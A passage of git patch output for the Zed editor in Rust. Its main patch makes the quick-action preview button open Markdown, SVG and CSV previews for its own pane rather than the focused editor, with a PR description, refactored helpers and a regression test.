+                branch_list.picker.update(cx, |picker, cx| {
+                    picker
+                        .delegate
+                        .update_matches(String::from("feature-u"), window, cx)
+                })
+            })
+            .await;
+        cx.run_until_parked();
+
+        branch_list.update(cx, |branch_list, cx| {
+            branch_list.picker.update(cx, |picker, _cx| {
+                assert!(matches!(
+                    picker.delegate.matches.as_slice(),
+                    [Entry::NewBranch { .. }]
+                ));
+            })
+        });
     }
 
     async fn update_branch_list_matches_with_empty_query(
diff --git a/crates/project/src/git_store.rs b/crates/project/src/git_store.rs
index 94ebed251c6c2a..f96df2894849f1 100644
--- a/crates/project/src/git_store.rs
+++ b/crates/project/src/git_store.rs
@@ -3150,12 +3150,18 @@ impl GitStore {
                 repository_handle.get_remotes(branch_name, is_push)
             })
             .await??;
+        let remote_urls = repository_handle
+            .update(&mut cx, |repository_handle, _| {
+                repository_handle.remote_urls()
+            })
+            .await??;
 
         Ok(proto::GetRemotesResponse {
             remotes: remotes
                 .into_iter()
                 .map(|remotes| proto::get_remotes_response::Remote {
                     name: remotes.name.to_string(),
+                    url: remote_urls.get(remotes.name.as_ref()).cloned(),
                 })
                 .collect::<Vec<_>>(),
         })
@@ -7949,6 +7955,33 @@ impl Repository {
         })
     }
 
+    pub fn remote_urls(&mut self) -> oneshot::Receiver<Result<HashMap<String, String>>> {
+        let id = self.id;
+        self.send_job("remote_urls", None, move |repo, _cx| async move {
+            match repo {
+                RepositoryState::Local(LocalRepositoryState { backend, .. }) => {
+                    Ok(backend.remote_urls().await)
+                }
+                RepositoryState::Remote(RemoteRepositoryState { project_id, client }) => {
+                    let response = client
+                        .request(proto::GetRemotes {
+                            project_id: project_id.0,
+                            repository_id: id.to_proto(),
+                            branch_name: None,
+                            is_push: false,
+                        })
+                        .await?;
+
+                    Ok(response
+                        .remotes
+                        .into_iter()
+                        .filter_map(|remote| Some((remote.name, remote.url?)))
+                        .collect())
+                }
+            }
+        })
+    }
+
     pub fn branches(&mut self) -> oneshot::Receiver<Result<BranchesScanResult>> {
         let id = self.id;
         self.send_job("branches", None, move |repo, _| async move {
diff --git a/crates/proto/proto/git.proto b/crates/proto/proto/git.proto
index 1d1e635cac1d27..8570f86d9f3fa4 100644
--- a/crates/proto/proto/git.proto
+++ b/crates/proto/proto/git.proto
@@ -459,6 +459,7 @@ message GetRemotesResponse {
 
   message Remote {
     string name = 1;
+    optional string url = 2;
   }
 }
 

From 339d96b5a81a8fd8434b766e501c6a4c27f59b60 Mon Sep 17 00:00:00 2001
From: Austin Cummings <me@austincummings.com>
Date: Sun, 19 Jul 2026 21:08:28 -0700
Subject: [PATCH 551/772] Fix preview button acting on the focused editor
 instead of its own pane (#61218)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Closes #54951

## Problem

The quick action bar's preview button (markdown, SVG, and CSV behind the
feature flag) resolved everything through `workspace.active_item()` —
the globally *focused* item — instead of the item of the pane the button
sits in. With `A.md` in the left pane and focus in `B.md` in the right
pane:

- Clicking the eye button in **A.md's** toolbar opened a preview of
**B.md**, in the right pane.
- Focusing a non-previewable file (e.g. `B.sh`) in one pane hid the
button in **every** pane's toolbar, making `A.md` unpreviewable by
mouse.

Clicking the button dispatched the `OpenPreview` action, whose
workspace-level handler re-resolved the focused editor — so a click on a
specific pane's toolbar was functionally identical to pressing the
keybinding, discarding the pane the click happened in.

## Fix

Make the flow pane-explicit end to end:

- **Visibility:** each pane's `QuickActionBar` resolves the preview type
from its own `active_item` (set via `set_active_pane_item`) instead of
the workspace's focused item.
- **Click:** no more action dispatch. The handler resolves its pane via
`Workspace::pane_for` and calls new pane-explicit helpers —
`open_preview_in_pane` / `open_preview_to_the_side_of_pane` — extracted
from the action-handler bodies in all three preview crates. Keyboard
actions keep their focus-based semantics and route through the same
helpers with the focused editor and active pane.
- **Alt-click** (open in split) now splits relative to the button's pane
via the new `Workspace::adjacent_pane_of` (the existing `adjacent_pane`
delegates to it).

Notably *not* done: focusing the button's pane and re-dispatching the
action. `workspace.active_pane` only updates when pane focus-in
listeners fire at the end of the next draw, while dispatched actions run
before it — the handler would still read the stale pane.

## Additional changes

- Existing-preview lookup now happens **before** view construction,
instead of building a full preview view (subscriptions, initial parse)
and discarding it when one already exists.
- The `focus` flag now also applies to the activate-existing branch, so
open-to-the-side never steals focus — previously the *first* invocation
left focus in the editor but a *repeat* invocation focused the existing
preview (and cancelled collaborator-following in that pane as a side
effect).
- SVG handlers no longer double-check `is_svg_file`; CSV handlers reuse
`resolve_active_item_as_csv_editor` instead of inlining it;
`is_markdown_file` takes `&App` instead of a needless `&mut Context<V>`.

## Testing

- New regression test
`preview_opens_for_the_given_pane_not_the_focused_editor` reproducing
the issue's setup (two panes, focus in the second, preview invoked for
the first pane's editor), asserting the preview opens in the invoking
pane bound to that pane's editor with the focused pane untouched.
- Markdown/SVG/CSV preview suites and the full `workspace` suite pass;
`./script/clippy` is clean.

Release Notes:

- Fixed the preview button (Markdown/SVG) previewing the focused file
instead of the file in the pane the button belongs to when multiple
panes are open
---
 crates/csv_preview/src/csv_preview.rs         | 114 +++++-----
 .../src/markdown_preview_view.rs              | 203 +++++++++++++++---
 crates/svg_preview/src/svg_preview_view.rs    | 101 +++++----
 crates/workspace/src/workspace.rs             |  17 +-
 crates/zed/src/zed/quick_action_bar.rs        |   2 +-
 .../zed/src/zed/quick_action_bar/preview.rs   | 169 ++++++++-------
 6 files changed, 389 insertions(+), 217 deletions(-)

diff --git a/crates/csv_preview/src/csv_preview.rs b/crates/csv_preview/src/csv_preview.rs
index cc86fc63dd74f1..3f8504ceae355f 100644
--- a/crates/csv_preview/src/csv_preview.rs
+++ b/crates/csv_preview/src/csv_preview.rs
@@ -13,7 +13,7 @@ use ui::{
     AbsoluteLength, ResizableColumnsState, SharedString, TableInteractionState,
     TableResizeBehavior, prelude::*,
 };
-use workspace::{Item, SplitDirection, Workspace};
+use workspace::{Item, Pane, Workspace};
 
 use crate::{parser::EditorState, settings::CsvPreviewSettings, types::TableLikeContent};
 
@@ -93,62 +93,19 @@ impl CsvPreviewView {
         workspace.register_action_renderer(|div, _, _, cx| {
             div.when(cx.has_flag::<TabularDataPreviewFeatureFlag>(), |div| {
                 div.on_action(cx.listener(|workspace, _: &OpenPreview, window, cx| {
-                    if let Some(editor) = workspace
-                        .active_item(cx)
-                        .and_then(|item| item.act_as::<Editor>(cx))
-                        .filter(|editor| Self::is_csv_file(editor, cx))
-                    {
-                        let csv_preview = Self::new(&editor, window, cx);
-                        workspace.active_pane().update(cx, |pane, cx| {
-                            let existing = pane
-                                .items_of_type::<CsvPreviewView>()
-                                .find(|view| view.read(cx).active_editor_state.editor == editor);
-                            if let Some(idx) = existing.and_then(|e| pane.index_for_item(&e)) {
-                                pane.activate_item(idx, true, true, window, cx);
-                            } else {
-                                pane.add_item(Box::new(csv_preview), true, true, None, window, cx);
-                            }
-                        });
-                        cx.notify();
+                    if let Some(editor) = Self::resolve_active_item_as_csv_editor(workspace, cx) {
+                        let pane = workspace.active_pane().clone();
+                        Self::open_preview_in_pane(editor, pane, window, cx);
                     }
                 }))
                 .on_action(cx.listener(
                     |workspace, _: &OpenPreviewToTheSide, window, cx| {
-                        if let Some(editor) = workspace
-                            .active_item(cx)
-                            .and_then(|item| item.act_as::<Editor>(cx))
-                            .filter(|editor| Self::is_csv_file(editor, cx))
+                        if let Some(editor) = Self::resolve_active_item_as_csv_editor(workspace, cx)
                         {
-                            let csv_preview = Self::new(&editor, window, cx);
-                            let pane = workspace
-                                .find_pane_in_direction(SplitDirection::Right, cx)
-                                .unwrap_or_else(|| {
-                                    workspace.split_pane(
-                                        workspace.active_pane().clone(),
-                                        SplitDirection::Right,
-                                        window,
-                                        cx,
-                                    )
-                                });
-                            pane.update(cx, |pane, cx| {
-                                let existing =
-                                    pane.items_of_type::<CsvPreviewView>().find(|view| {
-                                        view.read(cx).active_editor_state.editor == editor
-                                    });
-                                if let Some(idx) = existing.and_then(|e| pane.index_for_item(&e)) {
-                                    pane.activate_item(idx, true, true, window, cx);
-                                } else {
-                                    pane.add_item(
-                                        Box::new(csv_preview),
-                                        false,
-                                        false,
-                                        None,
-                                        window,
-                                        cx,
-                                    );
-                                }
-                            });
-                            cx.notify();
+                            let pane = workspace.active_pane().clone();
+                            Self::open_preview_to_the_side_of_pane(
+                                workspace, editor, pane, window, cx,
+                            );
                         }
                     },
                 ))
@@ -156,6 +113,57 @@ impl CsvPreviewView {
         });
     }
 
+    pub fn open_preview_in_pane(
+        editor: Entity<Editor>,
+        pane: Entity<Pane>,
+        window: &mut Window,
+        cx: &mut Context<Workspace>,
+    ) {
+        Self::activate_or_add_preview(editor, pane, true, window, cx);
+    }
+
+    pub fn open_preview_to_the_side_of_pane(
+        workspace: &mut Workspace,
+        editor: Entity<Editor>,
+        origin_pane: Entity<Pane>,
+        window: &mut Window,
+        cx: &mut Context<Workspace>,
+    ) {
+        let target_pane = workspace.adjacent_pane_of(&origin_pane, window, cx);
+        Self::activate_or_add_preview(editor, target_pane, false, window, cx);
+    }
+
+    fn activate_or_add_preview(
+        editor: Entity<Editor>,
+        pane: Entity<Pane>,
+        focus: bool,
+        window: &mut Window,
+        cx: &mut Context<Workspace>,
+    ) {
+        let existing_view_idx = Self::find_existing_preview_item_idx(pane.read(cx), &editor, cx);
+        if let Some(existing_view_idx) = existing_view_idx {
+            pane.update(cx, |pane, cx| {
+                pane.activate_item(existing_view_idx, focus, focus, window, cx);
+            });
+        } else {
+            let csv_preview = Self::new(&editor, window, cx);
+            pane.update(cx, |pane, cx| {
+                pane.add_item(Box::new(csv_preview), focus, focus, None, window, cx);
+            });
+        }
+        cx.notify();
+    }
+
+    fn find_existing_preview_item_idx(
+        pane: &Pane,
+        editor: &Entity<Editor>,
+        cx: &App,
+    ) -> Option<usize> {
+        pane.items_of_type::<CsvPreviewView>()
+            .find(|view| &view.read(cx).active_editor_state.editor == editor)
+            .and_then(|view| pane.index_for_item(&view))
+    }
+
     fn new(editor: &Entity<Editor>, window: &Window, cx: &mut Context<Workspace>) -> Entity<Self> {
         let contents = TableLikeContent::default();
         let table_interaction_state = cx.new(|cx| {
@@ -265,7 +273,7 @@ impl CsvPreviewView {
         Self::is_csv_file(&editor, cx).then_some(editor)
     }
 
-    fn is_csv_file(editor: &Entity<Editor>, cx: &App) -> bool {
+    pub fn is_csv_file(editor: &Entity<Editor>, cx: &App) -> bool {
         editor
             .read(cx)
             .buffer()
diff --git a/crates/markdown_preview/src/markdown_preview_view.rs b/crates/markdown_preview/src/markdown_preview_view.rs
index d8cfc4f26c7e14..b5bf94d628c0c8 100644
--- a/crates/markdown_preview/src/markdown_preview_view.rs
+++ b/crates/markdown_preview/src/markdown_preview_view.rs
@@ -97,44 +97,15 @@ impl MarkdownPreviewView {
     pub fn register(workspace: &mut Workspace, _window: &mut Window, _cx: &mut Context<Workspace>) {
         workspace.register_action(move |workspace, _: &OpenPreview, window, cx| {
             if let Some(editor) = Self::resolve_active_item_as_markdown_editor(workspace, cx) {
-                let view = Self::create_markdown_view(workspace, editor.clone(), window, cx);
-                workspace.active_pane().update(cx, |pane, cx| {
-                    if let Some(existing_view_idx) =
-                        Self::find_existing_independent_preview_item_idx(pane, &editor, cx)
-                    {
-                        pane.activate_item(existing_view_idx, true, true, window, cx);
-                    } else {
-                        pane.add_item(Box::new(view.clone()), true, true, None, window, cx)
-                    }
-                });
-                cx.notify();
+                let pane = workspace.active_pane().clone();
+                Self::open_preview_in_pane(workspace, editor, pane, window, cx);
             }
         });
 
         workspace.register_action(move |workspace, _: &OpenPreviewToTheSide, window, cx| {
             if let Some(editor) = Self::resolve_active_item_as_markdown_editor(workspace, cx) {
-                let view = Self::create_markdown_view(workspace, editor.clone(), window, cx);
-                let pane = workspace
-                    .find_pane_in_direction(workspace::SplitDirection::Right, cx)
-                    .unwrap_or_else(|| {
-                        workspace.split_pane(
-                            workspace.active_pane().clone(),
-                            workspace::SplitDirection::Right,
-                            window,
-                            cx,
-                        )
-                    });
-                pane.update(cx, |pane, cx| {
-                    if let Some(existing_view_idx) =
-                        Self::find_existing_independent_preview_item_idx(pane, &editor, cx)
-                    {
-                        pane.activate_item(existing_view_idx, true, true, window, cx);
-                    } else {
-                        pane.add_item(Box::new(view.clone()), false, false, None, window, cx)
-                    }
-                });
-                editor.focus_handle(cx).focus(window, cx);
-                cx.notify();
+                let pane = workspace.active_pane().clone();
+                Self::open_preview_to_the_side_of_pane(workspace, editor, pane, window, cx);
             }
         });
 
@@ -164,6 +135,51 @@ impl MarkdownPreviewView {
         });
     }
 
+    pub fn open_preview_in_pane(
+        workspace: &mut Workspace,
+        editor: Entity<Editor>,
+        pane: Entity<Pane>,
+        window: &mut Window,
+        cx: &mut Context<Workspace>,
+    ) {
+        Self::activate_or_add_preview(workspace, editor, pane, true, window, cx);
+    }
+
+    pub fn open_preview_to_the_side_of_pane(
+        workspace: &mut Workspace,
+        editor: Entity<Editor>,
+        origin_pane: Entity<Pane>,
+        window: &mut Window,
+        cx: &mut Context<Workspace>,
+    ) {
+        let target_pane = workspace.adjacent_pane_of(&origin_pane, window, cx);
+        Self::activate_or_add_preview(workspace, editor.clone(), target_pane, false, window, cx);
+        editor.focus_handle(cx).focus(window, cx);
+    }
+
+    fn activate_or_add_preview(
+        workspace: &mut Workspace,
+        editor: Entity<Editor>,
+        pane: Entity<Pane>,
+        focus: bool,
+        window: &mut Window,
+        cx: &mut Context<Workspace>,
+    ) {
+        let existing_view_idx =
+            Self::find_existing_independent_preview_item_idx(pane.read(cx), &editor, cx);
+        if let Some(existing_view_idx) = existing_view_idx {
+            pane.update(cx, |pane, cx| {
+                pane.activate_item(existing_view_idx, focus, focus, window, cx);
+            });
+        } else {
+            let view = Self::create_markdown_view(workspace, editor, window, cx);
+            pane.update(cx, |pane, cx| {
+                pane.add_item(Box::new(view), focus, focus, None, window, cx)
+            });
+        }
+        cx.notify();
+    }
+
     fn find_existing_independent_preview_item_idx(
         pane: &Pane,
         editor: &Entity<Editor>,
@@ -376,7 +392,7 @@ impl MarkdownPreviewView {
         .detach();
     }
 
-    pub fn is_markdown_file<V>(editor: &Entity<Editor>, cx: &mut Context<V>) -> bool {
+    pub fn is_markdown_file(editor: &Entity<Editor>, cx: &App) -> bool {
         let buffer = editor.read(cx).buffer().read(cx);
         if let Some(buffer) = buffer.as_singleton()
             && let Some(language) = buffer.read(cx).language()
@@ -2473,6 +2489,125 @@ mod tests {
             .unwrap();
     }
 
+    #[gpui::test]
+    async fn preview_opens_for_the_given_pane_not_the_focused_editor(cx: &mut TestAppContext) {
+        let app_state = init_test(cx);
+        app_state
+            .fs
+            .as_fake()
+            .insert_tree(
+                path!("/dir"),
+                json!({
+                    "a.md": "# A\n",
+                    "b.md": "# B\n"
+                }),
+            )
+            .await;
+
+        cx.update(|cx| {
+            open_paths(
+                &[PathBuf::from(path!("/dir/a.md"))],
+                app_state.clone(),
+                workspace::OpenOptions::default(),
+                cx,
+            )
+        })
+        .await
+        .unwrap();
+
+        let multi_workspace = cx.update(|cx| cx.windows()[0].downcast::<MultiWorkspace>().unwrap());
+        let workspace = multi_workspace
+            .update(cx, |multi_workspace, _, _| {
+                multi_workspace.workspace().clone()
+            })
+            .unwrap();
+        let project = workspace.read_with(cx, |workspace, _| workspace.project().clone());
+        let b_buffer = project
+            .update(cx, |project, cx| {
+                project.open_local_buffer(path!("/dir/b.md"), cx)
+            })
+            .await
+            .unwrap();
+
+        let (first_pane, a_editor, second_pane, b_editor) = multi_workspace
+            .update(cx, |multi_workspace, window, cx| {
+                let workspace = multi_workspace.workspace().clone();
+                workspace.update(cx, |workspace, cx| {
+                    let first_pane = workspace.active_pane().clone();
+                    let a_editor: Entity<Editor> = workspace
+                        .active_item(cx)
+                        .and_then(|item| item.act_as::<Editor>(cx))
+                        .unwrap();
+                    let project = workspace.project().clone();
+                    let second_pane = workspace.split_pane(
+                        first_pane.clone(),
+                        workspace::SplitDirection::Right,
+                        window,
+                        cx,
+                    );
+                    let b_editor =
+                        cx.new(|cx| Editor::for_buffer(b_buffer, Some(project), window, cx));
+                    second_pane.update(cx, |pane, cx| {
+                        pane.add_item(Box::new(b_editor.clone()), true, true, None, window, cx)
+                    });
+                    (first_pane, a_editor, second_pane, b_editor)
+                })
+            })
+            .unwrap();
+        cx.run_until_parked();
+
+        // With focus in the second pane (`b.md`), simulate clicking the
+        // preview button in the first pane's toolbar, which targets that
+        // pane's own editor (`a.md`).
+        multi_workspace
+            .update(cx, |multi_workspace, window, cx| {
+                let workspace = multi_workspace.workspace().clone();
+                workspace.update(cx, |workspace, cx| {
+                    assert_eq!(
+                        workspace.active_pane(),
+                        &second_pane,
+                        "test precondition: focus must be in the second pane"
+                    );
+                    MarkdownPreviewView::open_preview_in_pane(
+                        workspace,
+                        a_editor.clone(),
+                        first_pane.clone(),
+                        window,
+                        cx,
+                    );
+                })
+            })
+            .unwrap();
+        cx.run_until_parked();
+
+        cx.update(|cx| {
+            let preview = first_pane
+                .read(cx)
+                .active_item()
+                .and_then(|item| item.downcast::<MarkdownPreviewView>())
+                .expect("the preview must open in the pane whose button was clicked");
+            let bound_editor = preview
+                .read(cx)
+                .active_editor
+                .as_ref()
+                .unwrap()
+                .editor
+                .clone();
+            assert_eq!(
+                bound_editor, a_editor,
+                "the preview must be bound to the clicked pane's editor, not the focused editor"
+            );
+            assert_eq!(
+                second_pane
+                    .read(cx)
+                    .active_item()
+                    .and_then(|item| item.downcast::<Editor>()),
+                Some(b_editor),
+                "the focused pane's content must be unaffected"
+            );
+        });
+    }
+
     fn init_test(cx: &mut TestAppContext) -> Arc<AppState> {
         cx.update(|cx| {
             let state = AppState::test(cx);
diff --git a/crates/svg_preview/src/svg_preview_view.rs b/crates/svg_preview/src/svg_preview_view.rs
index 259243b8ac7cd7..44f5bc387839fd 100644
--- a/crates/svg_preview/src/svg_preview_view.rs
+++ b/crates/svg_preview/src/svg_preview_view.rs
@@ -202,63 +202,62 @@ impl SvgPreviewView {
             })
     }
 
+    pub fn open_preview_in_pane(
+        workspace: &mut Workspace,
+        buffer: Entity<MultiBuffer>,
+        pane: Entity<Pane>,
+        window: &mut Window,
+        cx: &mut Context<Workspace>,
+    ) {
+        Self::activate_or_add_preview(workspace, buffer, pane, true, window, cx);
+    }
+
+    pub fn open_preview_to_the_side_of_pane(
+        workspace: &mut Workspace,
+        buffer: Entity<MultiBuffer>,
+        origin_pane: Entity<Pane>,
+        window: &mut Window,
+        cx: &mut Context<Workspace>,
+    ) {
+        let target_pane = workspace.adjacent_pane_of(&origin_pane, window, cx);
+        Self::activate_or_add_preview(workspace, buffer, target_pane, false, window, cx);
+    }
+
+    fn activate_or_add_preview(
+        workspace: &mut Workspace,
+        buffer: Entity<MultiBuffer>,
+        pane: Entity<Pane>,
+        focus: bool,
+        window: &mut Window,
+        cx: &mut Context<Workspace>,
+    ) {
+        let existing_view_idx = Self::find_existing_preview_item_idx(pane.read(cx), &buffer, cx);
+        if let Some(existing_view_idx) = existing_view_idx {
+            pane.update(cx, |pane, cx| {
+                pane.activate_item(existing_view_idx, focus, focus, window, cx);
+            });
+        } else {
+            let view =
+                Self::create_svg_view(SvgPreviewMode::Default, workspace, buffer, window, cx);
+            pane.update(cx, |pane, cx| {
+                pane.add_item(Box::new(view), focus, focus, None, window, cx)
+            });
+        }
+        cx.notify();
+    }
+
     pub fn register(workspace: &mut Workspace, _window: &mut Window, _cx: &mut Context<Workspace>) {
         workspace.register_action(move |workspace, _: &OpenPreview, window, cx| {
-            if let Some(buffer) = Self::resolve_active_item_as_svg_buffer(workspace, cx)
-                && Self::is_svg_file(&buffer, cx)
-            {
-                let view = Self::create_svg_view(
-                    SvgPreviewMode::Default,
-                    workspace,
-                    buffer.clone(),
-                    window,
-                    cx,
-                );
-                workspace.active_pane().update(cx, |pane, cx| {
-                    if let Some(existing_view_idx) =
-                        Self::find_existing_preview_item_idx(pane, &buffer, cx)
-                    {
-                        pane.activate_item(existing_view_idx, true, true, window, cx);
-                    } else {
-                        pane.add_item(Box::new(view), true, true, None, window, cx)
-                    }
-                });
-                cx.notify();
+            if let Some(buffer) = Self::resolve_active_item_as_svg_buffer(workspace, cx) {
+                let pane = workspace.active_pane().clone();
+                Self::open_preview_in_pane(workspace, buffer, pane, window, cx);
             }
         });
 
         workspace.register_action(move |workspace, _: &OpenPreviewToTheSide, window, cx| {
-            if let Some(editor) = Self::resolve_active_item_as_svg_buffer(workspace, cx)
-                && Self::is_svg_file(&editor, cx)
-            {
-                let editor_clone = editor.clone();
-                let view = Self::create_svg_view(
-                    SvgPreviewMode::Default,
-                    workspace,
-                    editor_clone,
-                    window,
-                    cx,
-                );
-                let pane = workspace
-                    .find_pane_in_direction(workspace::SplitDirection::Right, cx)
-                    .unwrap_or_else(|| {
-                        workspace.split_pane(
-                            workspace.active_pane().clone(),
-                            workspace::SplitDirection::Right,
-                            window,
-                            cx,
-                        )
-                    });
-                pane.update(cx, |pane, cx| {
-                    if let Some(existing_view_idx) =
-                        Self::find_existing_preview_item_idx(pane, &editor, cx)
-                    {
-                        pane.activate_item(existing_view_idx, true, true, window, cx);
-                    } else {
-                        pane.add_item(Box::new(view), false, false, None, window, cx)
-                    }
-                });
-                cx.notify();
+            if let Some(buffer) = Self::resolve_active_item_as_svg_buffer(workspace, cx) {
+                let pane = workspace.active_pane().clone();
+                Self::open_preview_to_the_side_of_pane(workspace, buffer, pane, window, cx);
             }
         });
 
diff --git a/crates/workspace/src/workspace.rs b/crates/workspace/src/workspace.rs
index 694b11e6460b46..9e89a46ac6ed31 100644
--- a/crates/workspace/src/workspace.rs
+++ b/crates/workspace/src/workspace.rs
@@ -5885,10 +5885,19 @@ impl Workspace {
     }
 
     pub fn adjacent_pane(&mut self, window: &mut Window, cx: &mut Context<Self>) -> Entity<Pane> {
-        self.find_pane_in_direction(SplitDirection::Right, cx)
-            .unwrap_or_else(|| {
-                self.split_pane(self.active_pane.clone(), SplitDirection::Right, window, cx)
-            })
+        self.adjacent_pane_of(&self.active_pane.clone(), window, cx)
+    }
+
+    pub fn adjacent_pane_of(
+        &mut self,
+        origin: &Entity<Pane>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Entity<Pane> {
+        self.center
+            .find_pane_in_direction(origin, SplitDirection::Right, cx)
+            .cloned()
+            .unwrap_or_else(|| self.split_pane(origin.clone(), SplitDirection::Right, window, cx))
     }
 
     pub fn pane_for(&self, handle: &dyn ItemHandle) -> Option<Entity<Pane>> {
diff --git a/crates/zed/src/zed/quick_action_bar.rs b/crates/zed/src/zed/quick_action_bar.rs
index bfd03a3edf95af..d3f30a73b71d50 100644
--- a/crates/zed/src/zed/quick_action_bar.rs
+++ b/crates/zed/src/zed/quick_action_bar.rs
@@ -676,7 +676,7 @@ impl Render for QuickActionBar {
             .id("quick action bar")
             .gap(DynamicSpacing::Base01.rems(cx))
             .children(self.render_repl_menu(cx))
-            .children(self.render_preview_button(self.workspace.clone(), cx))
+            .children(self.render_preview_button(cx))
             .children(search_button)
             .when(
                 AgentSettings::get_global(cx).enabled(cx) && AgentSettings::get_global(cx).button,
diff --git a/crates/zed/src/zed/quick_action_bar/preview.rs b/crates/zed/src/zed/quick_action_bar/preview.rs
index 01e2d164d7d7a8..51d8696fb31953 100644
--- a/crates/zed/src/zed/quick_action_bar/preview.rs
+++ b/crates/zed/src/zed/quick_action_bar/preview.rs
@@ -1,80 +1,61 @@
-use csv_preview::{
-    CsvPreviewView, OpenPreview as CsvOpenPreview, OpenPreviewToTheSide as CsvOpenPreviewToTheSide,
-    TabularDataPreviewFeatureFlag,
-};
+use csv_preview::{CsvPreviewView, TabularDataPreviewFeatureFlag};
+use editor::{Editor, MultiBuffer};
 use feature_flags::FeatureFlagAppExt as _;
-use gpui::{AnyElement, Modifiers, WeakEntity};
-use markdown_preview::{
-    OpenPreview as MarkdownOpenPreview, OpenPreviewToTheSide as MarkdownOpenPreviewToTheSide,
-    markdown_preview_view::MarkdownPreviewView,
-};
-use svg_preview::{
-    OpenPreview as SvgOpenPreview, OpenPreviewToTheSide as SvgOpenPreviewToTheSide,
-    svg_preview_view::SvgPreviewView,
-};
+use gpui::{AnyElement, Entity, Modifiers};
+use markdown_preview::markdown_preview_view::MarkdownPreviewView;
+use svg_preview::svg_preview_view::SvgPreviewView;
 use ui::{Tooltip, prelude::*, text_for_keystroke};
-use workspace::Workspace;
 
 use super::QuickActionBar;
 
-#[derive(Clone, Copy)]
-enum PreviewType {
-    Markdown,
-    Svg,
-    Csv,
+enum PreviewTarget {
+    Markdown(Entity<Editor>),
+    Svg(Entity<MultiBuffer>),
+    Csv(Entity<Editor>),
 }
 
 impl QuickActionBar {
-    pub fn render_preview_button(
-        &self,
-        workspace_handle: WeakEntity<Workspace>,
-        cx: &mut Context<Self>,
-    ) -> Option<AnyElement> {
-        let mut preview_type = None;
+    pub fn render_preview_button(&self, cx: &mut Context<Self>) -> Option<AnyElement> {
+        // Resolve against this toolbar's own pane item rather than the
+        // workspace's focused item, so each pane's button reflects and
+        // targets the content of the pane it belongs to.
+        let active_item = self.active_item.as_ref()?;
+        let editor = active_item.act_as::<Editor>(cx);
 
-        if let Some(workspace) = self.workspace.upgrade() {
-            workspace.update(cx, |workspace, cx| {
-                if MarkdownPreviewView::resolve_active_item_as_markdown_editor(workspace, cx)
-                    .is_some()
-                {
-                    preview_type = Some(PreviewType::Markdown);
-                } else if SvgPreviewView::resolve_active_item_as_svg_buffer(workspace, cx).is_some()
-                {
-                    preview_type = Some(PreviewType::Svg);
-                } else if cx.has_flag::<TabularDataPreviewFeatureFlag>()
-                    && CsvPreviewView::resolve_active_item_as_csv_editor(workspace, cx).is_some()
-                {
-                    preview_type = Some(PreviewType::Csv);
-                }
-            });
-        }
-
-        let preview_type = preview_type?;
+        let preview_target = if let Some(editor) = &editor
+            && MarkdownPreviewView::is_markdown_file(editor, cx)
+        {
+            PreviewTarget::Markdown(editor.clone())
+        } else if let Some(buffer) = active_item.act_as::<MultiBuffer>(cx)
+            && SvgPreviewView::is_svg_file(&buffer, cx)
+        {
+            PreviewTarget::Svg(buffer)
+        } else if let Some(editor) = editor
+            && cx.has_flag::<TabularDataPreviewFeatureFlag>()
+            && CsvPreviewView::is_csv_file(&editor, cx)
+        {
+            PreviewTarget::Csv(editor)
+        } else {
+            return None;
+        };
 
-        let (button_id, tooltip_text, open_action, open_to_side_action, open_action_for_tooltip) =
-            match preview_type {
-                PreviewType::Markdown => (
-                    "toggle-markdown-preview",
-                    "Preview Markdown",
-                    Box::new(MarkdownOpenPreview) as Box<dyn gpui::Action>,
-                    Box::new(MarkdownOpenPreviewToTheSide) as Box<dyn gpui::Action>,
-                    &markdown_preview::OpenPreview as &dyn gpui::Action,
-                ),
-                PreviewType::Svg => (
-                    "toggle-svg-preview",
-                    "Preview SVG",
-                    Box::new(SvgOpenPreview) as Box<dyn gpui::Action>,
-                    Box::new(SvgOpenPreviewToTheSide) as Box<dyn gpui::Action>,
-                    &svg_preview::OpenPreview as &dyn gpui::Action,
-                ),
-                PreviewType::Csv => (
-                    "toggle-csv-preview",
-                    "Preview CSV",
-                    Box::new(CsvOpenPreview) as Box<dyn gpui::Action>,
-                    Box::new(CsvOpenPreviewToTheSide) as Box<dyn gpui::Action>,
-                    &csv_preview::OpenPreview as &dyn gpui::Action,
-                ),
-            };
+        let (button_id, tooltip_text, open_action_for_tooltip) = match &preview_target {
+            PreviewTarget::Markdown(_) => (
+                "toggle-markdown-preview",
+                "Preview Markdown",
+                &markdown_preview::OpenPreview as &dyn gpui::Action,
+            ),
+            PreviewTarget::Svg(_) => (
+                "toggle-svg-preview",
+                "Preview SVG",
+                &svg_preview::OpenPreview as &dyn gpui::Action,
+            ),
+            PreviewTarget::Csv(_) => (
+                "toggle-csv-preview",
+                "Preview CSV",
+                &csv_preview::OpenPreview as &dyn gpui::Action,
+            ),
+        };
 
         let alt_click = gpui::Keystroke {
             key: "click".into(),
@@ -96,13 +77,53 @@ impl QuickActionBar {
                     cx,
                 )
             })
-            .on_click(move |_, window, cx| {
-                if let Some(workspace) = workspace_handle.upgrade() {
-                    workspace.update(cx, |_, cx| {
-                        if window.modifiers().alt {
-                            window.dispatch_action(open_to_side_action.boxed_clone(), cx);
-                        } else {
-                            window.dispatch_action(open_action.boxed_clone(), cx);
+            .on_click({
+                let workspace_handle = self.workspace.clone();
+                let active_item = active_item.boxed_clone();
+                move |_, window, cx| {
+                    let Some(workspace) = workspace_handle.upgrade() else {
+                        return;
+                    };
+                    workspace.update(cx, |workspace, cx| {
+                        let Some(pane) = workspace.pane_for(active_item.as_ref()) else {
+                            return;
+                        };
+                        let open_to_the_side = window.modifiers().alt;
+                        match &preview_target {
+                            PreviewTarget::Markdown(editor) => {
+                                let editor = editor.clone();
+                                if open_to_the_side {
+                                    MarkdownPreviewView::open_preview_to_the_side_of_pane(
+                                        workspace, editor, pane, window, cx,
+                                    );
+                                } else {
+                                    MarkdownPreviewView::open_preview_in_pane(
+                                        workspace, editor, pane, window, cx,
+                                    );
+                                }
+                            }
+                            PreviewTarget::Svg(buffer) => {
+                                let buffer = buffer.clone();
+                                if open_to_the_side {
+                                    SvgPreviewView::open_preview_to_the_side_of_pane(
+                                        workspace, buffer, pane, window, cx,
+                                    );
+                                } else {
+                                    SvgPreviewView::open_preview_in_pane(
+                                        workspace, buffer, pane, window, cx,
+                                    );
+                                }
+                            }
+                            PreviewTarget::Csv(editor) => {
+                                let editor = editor.clone();
+                                if open_to_the_side {
+                                    CsvPreviewView::open_preview_to_the_side_of_pane(
+                                        workspace, editor, pane, window, cx,
+                                    );
+                                } else {
